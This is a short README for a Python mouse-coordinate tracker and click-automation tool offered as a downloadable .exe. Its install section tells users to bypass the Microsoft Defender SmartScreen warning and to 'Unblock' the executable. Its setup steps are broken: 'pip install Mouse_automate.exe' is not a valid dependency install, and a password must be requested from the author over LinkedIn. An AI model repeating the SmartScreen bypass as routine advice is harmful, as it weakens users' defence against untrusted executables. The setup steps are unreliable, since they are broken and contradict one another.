Mouse Tracker with Snapshots is a Python-based GUI application that tracks the live coordinates of your mouse pointer and allows you to take "snapshots" of your mouse position with a timestamp. You can save these snapshots to a text file and later use it to automate the clicks and steps to ease your life and minimize human efforts by automating the same age old daily tasks being done in one single click.
- Live tracking of mouse coordinates.
- Take snapshots by pressing the
s
key three times. - Save snapshots to a
.txt
file. - Fixed window size and themed UI similar to the Microsoft Snipping Tool.
When running the executable for the first time, you may encounter a Microsoft Defender SmartScreen warning. This is a standard security feature in Windows to protect against unrecognized applications.
-
Download the Application:
- Download the latest release from the GitHub Releases section.
-
Run the Application:
- After downloading, double-click the
.exe
file to launch the app.
- After downloading, double-click the
-
SmartScreen Warning:
- You may see a warning message like this:
Microsoft Defender SmartScreen prevented an unrecognized app from starting. Running this app might put your PC at risk.
- You may see a warning message like this:
-
Bypass the Warning:
- Click on More info.
- Then click Run anyway.
If you'd like to avoid this warning in future releases, consider the following steps:
- Right-click the
.exe
file and go to Properties. - At the bottom of the General tab, click Unblock (if the option is available).
- Click Apply and OK.
- Download the latest version from the Releases page.
- Extract the files and run the executable (
MouseTracker.exe
). - Follow the on-screen instructions to take mouse position snapshots.
To run this project locally:
-
Clone the repository:
git clone https://github.com/Pratik-Khose/Mouse-Pointer-Tracker-and-Automation-Software.git
-
Install dependencies:
pip install Mouse_automate.exe
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The Most IMP Step:
For installing the software you would require the software For that floow three simple steps:- 1. Open LinkedIn 2. Drop a passowrd request message to me 3. Get the password inside you dm.
-
Run The Application:
Happy Automating your work !!!
This project is licensed under the MIT License.